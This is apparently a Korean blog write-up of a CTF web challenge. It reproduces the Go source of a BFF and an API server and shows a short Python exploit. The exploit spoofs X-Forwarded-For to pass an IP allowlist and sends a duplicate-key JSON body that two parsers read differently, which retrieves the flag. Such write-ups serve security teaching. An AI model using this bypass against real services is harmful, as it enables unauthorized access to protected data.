1. 개요
X-Forwarded-For 문제, json 파서 문제
2. 분석
bff 에서 요청을 받고, 검사를 통과하면, api 서버로 요청을 보냅니다.
- bff에서 IP를 검사하고, client의 IP 가 192.168.111.X 이어야합니다.
- bff 에서는 id가 1 이어야합니다.
- api에서는 id가 2 이어야합니다.
IP - X-Forwarded-For 헤더로 192.168.111.1로 세팅해서 검사를 통과할 수 있습니다.
id - bff와 api 파일의 json 파서가 서로 다릅니다.
- data = '{"id": 2, "id": 1}' 로 보낸다면,
- bff의 go 표준json 파서 결과는 - id: 1
- api의 buger/jsonparser 결과는 - id: 2
- bff
package main
import (
"bytes"
"encoding/json"
"io/ioutil"
"net"
"net/http"
"github.com/gin-gonic/gin"
)
type Info struct {
ID int `json:"id" binding:"required"`
}
// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
return func(c *gin.Context) {
clientIP := c.ClientIP()
ip := net.ParseIP(clientIP).To4()
if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
c.HTML(200, "error.tmpl", gin.H{
"ip": clientIP,
})
c.Abort()
return
}
}
}
func main() {
r := gin.Default()
r.Use(checkLocal())
r.LoadHTMLGlob("templates/*")
r.GET("/", func(c *gin.Context) {
c.HTML(200, "index.html", nil)
})
r.POST("/", func(c *gin.Context) {
// get request body
body, err := ioutil.ReadAll(c.Request.Body)
if err != nil {
c.JSON(400, gin.H{"error": "Failed to read body."})
return
}
// parse json
var info Info
if err := json.Unmarshal(body, &info); err != nil {
c.JSON(400, gin.H{"error": "Invalid parameter."})
return
}
// validation
if info.ID < 0 || info.ID > 2 {
c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
return
}
if info.ID == 2 {
c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
return
}
// get data from api server
req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body))
if err != nil {
c.JSON(400, gin.H{"error": "Failed to request API."})
return
}
req.Header.Set("Content-Type", "application/json")
client := new(http.Client)
resp, err := client.Do(req)
if err != nil {
c.JSON(400, gin.H{"error": "Failed to request API."})
return
}
defer resp.Body.Close()
result, err := ioutil.ReadAll(resp.Body)
if err != nil {
c.JSON(400, gin.H{"error": "Failed to request API."})
return
}
c.JSON(200, gin.H{"result": string(result)})
})
if err := r.Run(":8080"); err != nil {
panic("server is not started")
}
}
- api
package main
import (
"io/ioutil"
"os"
"github.com/buger/jsonparser"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.POST("/", func(c *gin.Context) {
body, err := ioutil.ReadAll(c.Request.Body)
if err != nil {
c.String(400, "Failed to read body")
return
}
id, err := jsonparser.GetInt(body, "id")
if err != nil {
c.String(400, "Failed to parse json")
return
}
if id == 0 {
c.String(200, "The quick brown fox jumps over the lazy dog.")
return
}
if id == 1 {
c.String(200, "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.")
return
}
if id == 2 {
// Flag!!!
flag := os.Getenv("FLAG")
c.String(200, flag)
return
}
c.String(400, "No data")
})
if err := r.Run(":8000"); err != nil {
panic("server is not started")
}
}
3. exploit
import requests
def get_flag():
url = "http://localhost:80/"
data = '{"id": 2, "id": 1}'
headers = {
"X-Forwarded-For": "192.168.111.1",
}
res = requests.post(url, headers=headers, data=data)
print(res.text)
if __name__ == "__main__":
get_flag()
'CTF' 카테고리의 다른 글
[tjCTF 2023] beep-boop-robot (0) | 2023.05.29 |
---|---|
[SECCON - Beginners_CTF_2021] magic (0) | 2023.05.28 |
[SECCON - Beginners_CTF_2021] cant_use_db (0) | 2023.05.28 |
[SECCON - Beginners_CTF_2021] osoba (0) | 2023.05.28 |
[SECCON - Beginners_CTF_2021] werewolf (0) | 2023.05.28 |